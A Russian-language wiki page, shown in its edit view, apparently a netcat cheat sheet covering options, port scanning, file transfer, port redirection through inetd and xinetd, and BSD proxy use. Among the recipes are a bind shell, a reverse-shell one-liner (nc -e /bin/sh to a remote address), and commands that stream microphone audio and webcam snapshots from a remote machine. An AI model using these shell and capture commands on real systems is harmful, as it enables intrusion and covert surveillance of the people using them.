Показать страницуИстория страницыСсылки сюдаCopy this pageExport to MarkdownODT преобразованиеНаверх Вы загрузили старую версию документа! Сохранив её, вы создадите новую текущую версию с этим содержимым. Медиафайлы{{tag>networks networking network utils shell}} {{tag>network tools client}} ====== Netcat ====== Netcat - это сетевой инструмент. <code bash> $ nc -nv 192.168.0.178 80 $ nc -nlvp 4444 $ nc -nv 192.168.0.178 4444 $ nc -v 127.1.0.1 3306 $ echo "help" | nc 192.168.1.132 2181 </code> * -h Справка; ничего не делается * -v Дополнительная диагностика (verbose) * -o выходной_файл Выводить дампы данных * -i число Задержка между отправляемыми данными (в секундах) * -t Совместимость с Telnet * -z Не посылать данные (сканирование портов) * -u Подключаться по UDP (вместо TCP) * -l Пассивный режим (прослушивание порта) * -p число * Локальный номер порта (для -l) * -s host Использовать заданный локальный («свой») IP-адрес * -n Отключить DNS и поиск номеров портов по /etc/services * -w число Задать тайм-аут (в секундах) * -q число Задать время ожидания после EOF на входе (в секундах) * -e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода) * -с команда ! То же, в виде команды для /bin/sh * -k Продолжить слушать другие соединения после того как текущее соединение было завершено. Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно: ===== Прослушивание порта ===== <code bash> nc -nlv 8080 > /tmp/log.txt & echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080 cat /tmp/log.txt </code> ===== Сканировать порты ===== <code bash> $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color </code> ===== Передавать файлы ===== (первую команду выполняем на принимающей машине, вторую - на передающей: <code bash> $ nc -l 31334 > filename $ nc 172.16.69.143 31334 < filename </code> ===== Удаленно читать логи ===== (первая - сервер, вторая - клиент): <code bash> $ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334 </code> ===== Использовать вместо telnet ===== (первая - telnet-сервер, вторая - клиент): <code bash> $ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334 </code> ===== Сканировать на открытые порты ===== <code bash> $ nc -z execbit.ru 1-1024 </code> ===== Осуществлять фингерпринт сервисов на основе баннеров ===== <code bash> $ echo "QUIT" | nc execbit.ru 1-1024 </code> ===== Организовывать обратный шелл ===== (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту): <code bash> $ nc -e /bin/sh 172.16.69.143 31334 $ nc -l -p 31334 </code> ===== Делать микрофонную запись с удаленной машины ===== (сервер, клиент): <code bash> $ arecord -f dat -t raw | nc -l 31337 $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg </code> ===== Получать снимки с web-камеры удаленной машины ===== (сервер, клиент): <code bash> $ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done $ nc localhost 31337 > photo.jpeg </code> Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет. Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP: <code bash> $ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \ 172.16.69.143 31334 </code> Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: <code bash> $ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334 </code> В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5. Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd: <code bash> $ echo 'redirect-2525-to-25 2525/tcp' >> /etc/services $ echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \ >> /etc/inetd.conf $ killall -HUP inetd </code> Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды. Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик: cat /etc/xinetd/redirect <code> service redirect-2525-to-25 { disable = no type = UNLISTED socket_type = stream protocol = tcp wait = no port = 2525 redirect = 127.0.0.1 25 user = nobody } </code>СохранитьПросмотрРазличияОтменить Сводка изменений Примечание: редактируя эту страницу, вы соглашаетесь на использование своего вклада на условиях следующей лицензии: CC0 1.0 Universal